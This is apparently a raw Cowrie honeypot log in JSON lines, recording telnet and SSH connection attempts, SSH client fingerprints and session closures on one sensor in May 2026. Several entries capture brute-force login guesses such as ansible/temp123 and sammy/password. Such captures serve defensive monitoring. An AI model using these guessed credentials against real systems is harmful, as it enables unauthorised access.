{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:39.738831Z","src_ip":"159.203.92.129","session":"1db1524bf4ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":47028,"dst_ip":"10.17.0.5","dst_port":23,"session":"1169c8624b51","protocol":"telnet","message":"New connection: 199.103.61.230:47028 (10.17.0.5:23) [session: 1169c8624b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:40.061889Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":47880,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6618d21b574","protocol":"telnet","message":"New connection: 199.103.61.230:47880 (10.17.0.5:23) [session: b6618d21b574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:45.185011Z"}
{"eventid":"cowrie.session.closed","duration":31.59490656852722,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:45.707706Z","src_ip":"199.103.61.230","session":"b2cfb8cb3d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.952248334884644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:45.963855Z","src_ip":"199.103.61.230","session":"b1f15ffa647c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64710259437561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:46.539088Z","src_ip":"199.103.61.230","session":"7363c2d791e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":48196,"dst_ip":"10.17.0.5","dst_port":23,"session":"40924a846d91","protocol":"telnet","message":"New connection: 199.103.61.230:48196 (10.17.0.5:23) [session: 40924a846d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:46.868774Z"}
{"eventid":"cowrie.session.closed","duration":32.2289719581604,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:49.494771Z","src_ip":"199.103.61.230","session":"6f60062f1e03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":49150,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c144283bbf0","protocol":"telnet","message":"New connection: 199.103.61.230:49150 (10.17.0.5:23) [session: 6c144283bbf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:53.434340Z"}
{"eventid":"cowrie.session.closed","duration":31.68159580230713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:54.780542Z","src_ip":"199.103.61.230","session":"cc6f0f2649d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":49294,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f8429834e93","protocol":"telnet","message":"New connection: 199.103.61.230:49294 (10.17.0.5:23) [session: 5f8429834e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:55.456955Z"}
{"eventid":"cowrie.session.closed","duration":30.516561031341553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:56.354333Z","src_ip":"199.103.61.230","session":"0d1d8fd340a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188714027404785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:57.032247Z","src_ip":"199.103.61.230","session":"b43d99f9d5ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.48618531227112,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:04:59.871213Z","src_ip":"199.103.61.230","session":"94683e1d0aea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.539490461349487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:02.541798Z","src_ip":"199.103.61.230","session":"1fadb6517349","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.196008920669556,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:04.203428Z","src_ip":"199.103.61.230","session":"b04631691a12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31817126274109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:05.262849Z","src_ip":"199.103.61.230","session":"a4de559f8bb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226773977279663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:09.389205Z","src_ip":"199.103.61.230","session":"0183cad73fb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.795674562454224,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:10.831550Z","src_ip":"199.103.61.230","session":"2b80df7ece6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":47130,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab4d368d8d1b","protocol":"telnet","message":"New connection: 199.103.61.230:47130 (10.17.0.5:23) [session: ab4d368d8d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:10.837080Z"}
{"eventid":"cowrie.session.closed","duration":0.004673480987548828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:10.841645Z","src_ip":"199.103.61.230","session":"ab4d368d8d1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.959935426712036,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:13.021716Z","src_ip":"199.103.61.230","session":"1169c8624b51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":39776,"dst_ip":"159.203.135.109","dst_port":22,"session":"15ed355c678b","protocol":"ssh","message":"New connection: 50.99.170.152:39776 (159.203.135.109:22) [session: 15ed355c678b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:16.329325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:16.334875Z","src_ip":"50.99.170.152","session":"15ed355c678b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:16.402077Z","src_ip":"50.99.170.152","session":"15ed355c678b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"password","message":"login attempt [sammy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:16.689270Z","src_ip":"50.99.170.152","session":"15ed355c678b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:17.751029Z","src_ip":"50.99.170.152","session":"15ed355c678b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14002537727356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:18.008679Z","src_ip":"199.103.61.230","session":"40924a846d91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":52748,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3c163a7cead","protocol":"telnet","message":"New connection: 199.103.61.230:52748 (10.17.0.5:23) [session: f3c163a7cead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:18.710773Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":48492,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4efe134bfd9","protocol":"telnet","message":"New connection: 199.103.61.230:48492 (10.17.0.5:23) [session: e4efe134bfd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:19.159688Z"}
{"eventid":"cowrie.session.closed","duration":0.004772663116455078,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:19.164362Z","src_ip":"199.103.61.230","session":"e4efe134bfd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.45061635971069,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:20.635512Z","src_ip":"199.103.61.230","session":"b6618d21b574","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":52866,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b24046fbf8b","protocol":"telnet","message":"New connection: 199.103.61.230:52866 (10.17.0.5:23) [session: 4b24046fbf8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:20.724847Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52282,"dst_ip":"159.203.135.109","dst_port":22,"session":"213e06b2f6a7","protocol":"ssh","message":"New connection: 159.203.92.129:52282 (159.203.135.109:22) [session: 213e06b2f6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:23.159461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:23.164579Z","src_ip":"159.203.92.129","session":"213e06b2f6a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:23.171368Z","src_ip":"159.203.92.129","session":"213e06b2f6a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"temp123","message":"login attempt [ansible/temp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:23.184051Z","src_ip":"159.203.92.129","session":"213e06b2f6a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.708957195281982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:24.143198Z","src_ip":"199.103.61.230","session":"6c144283bbf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:24.190540Z","src_ip":"159.203.92.129","session":"213e06b2f6a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.411983013153076,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:27.868795Z","src_ip":"199.103.61.230","session":"5f8429834e93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":53756,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5d6fcc649fa","protocol":"telnet","message":"New connection: 199.103.61.230:53756 (10.17.0.5:23) [session: a5d6fcc649fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:33.177155Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.207.231.36","src_port":59735,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5b5a72fe65b","protocol":"telnet","message":"New connection: 196.207.231.36:59735 (159.203.135.109:23) [session: d5b5a72fe65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:33.618599Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":55742,"dst_ip":"10.17.0.5","dst_port":23,"session":"8edc93bc299a","protocol":"telnet","message":"New connection: 199.103.61.230:55742 (10.17.0.5:23) [session: 8edc93bc299a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:45.243845Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":55900,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0b5fb2ef1b0","protocol":"telnet","message":"New connection: 199.103.61.230:55900 (10.17.0.5:23) [session: d0b5fb2ef1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:45.279804Z"}
{"eventid":"cowrie.session.closed","duration":12.77677869796753,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:46.395276Z","src_ip":"196.207.231.36","session":"d5b5a72fe65b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49691891670227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:50.207564Z","src_ip":"199.103.61.230","session":"f3c163a7cead","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.482933282852173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:52.207688Z","src_ip":"199.103.61.230","session":"4b24046fbf8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":56882,"dst_ip":"10.17.0.5","dst_port":23,"session":"25550d6d9e0f","protocol":"telnet","message":"New connection: 199.103.61.230:56882 (10.17.0.5:23) [session: 25550d6d9e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:52.342482Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":57672,"dst_ip":"10.17.0.5","dst_port":23,"session":"301f5b48ffb2","protocol":"telnet","message":"New connection: 199.103.61.230:57672 (10.17.0.5:23) [session: 301f5b48ffb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:53.595930Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":57192,"dst_ip":"10.17.0.5","dst_port":23,"session":"92512eeb55ea","protocol":"telnet","message":"New connection: 199.103.61.230:57192 (10.17.0.5:23) [session: 92512eeb55ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:53.758254Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":58392,"dst_ip":"10.17.0.5","dst_port":23,"session":"102f7dc2bfe7","protocol":"telnet","message":"New connection: 199.103.61.230:58392 (10.17.0.5:23) [session: 102f7dc2bfe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:58.491488Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":56236,"dst_ip":"10.17.0.5","dst_port":23,"session":"280c50f4535d","protocol":"telnet","message":"New connection: 199.103.61.230:56236 (10.17.0.5:23) [session: 280c50f4535d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:05:59.535700Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":58658,"dst_ip":"10.17.0.5","dst_port":23,"session":"084248ca9a85","protocol":"telnet","message":"New connection: 199.103.61.230:58658 (10.17.0.5:23) [session: 084248ca9a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:02.459411Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":54538,"dst_ip":"10.17.0.5","dst_port":23,"session":"490c9db56c3d","protocol":"telnet","message":"New connection: 199.103.61.230:54538 (10.17.0.5:23) [session: 490c9db56c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:03.642040Z"}
{"eventid":"cowrie.session.closed","duration":31.774096250534058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:04.951138Z","src_ip":"199.103.61.230","session":"a5d6fcc649fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.135.53","src_port":21170,"dst_ip":"159.203.135.109","dst_port":23,"session":"74bd00a65890","protocol":"telnet","message":"New connection: 45.186.135.53:21170 (159.203.135.109:23) [session: 74bd00a65890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:06.303248Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":58534,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbeb37bd818c","protocol":"telnet","message":"New connection: 199.103.61.230:58534 (10.17.0.5:23) [session: bbeb37bd818c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:06.456580Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48232,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb6fa8e44748","protocol":"ssh","message":"New connection: 159.203.92.129:48232 (159.203.135.109:22) [session: bb6fa8e44748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:07.808791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:07.818211Z","src_ip":"159.203.92.129","session":"bb6fa8e44748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:07.823030Z","src_ip":"159.203.92.129","session":"bb6fa8e44748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"test","message":"login attempt [ansible/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:07.834346Z","src_ip":"159.203.92.129","session":"bb6fa8e44748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":55194,"dst_ip":"10.17.0.5","dst_port":23,"session":"b30972da34e0","protocol":"telnet","message":"New connection: 199.103.61.230:55194 (10.17.0.5:23) [session: b30972da34e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:08.599009Z"}
{"eventid":"cowrie.session.closed","duration":0.005895376205444336,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:08.604768Z","src_ip":"199.103.61.230","session":"b30972da34e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:08.841433Z","src_ip":"159.203.92.129","session":"bb6fa8e44748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.61.230","src_port":59750,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f1ca4ff2eb6","protocol":"telnet","message":"New connection: 199.103.61.230:59750 (10.17.0.5:23) [session: 5f1ca4ff2eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:06:09.237604Z"}
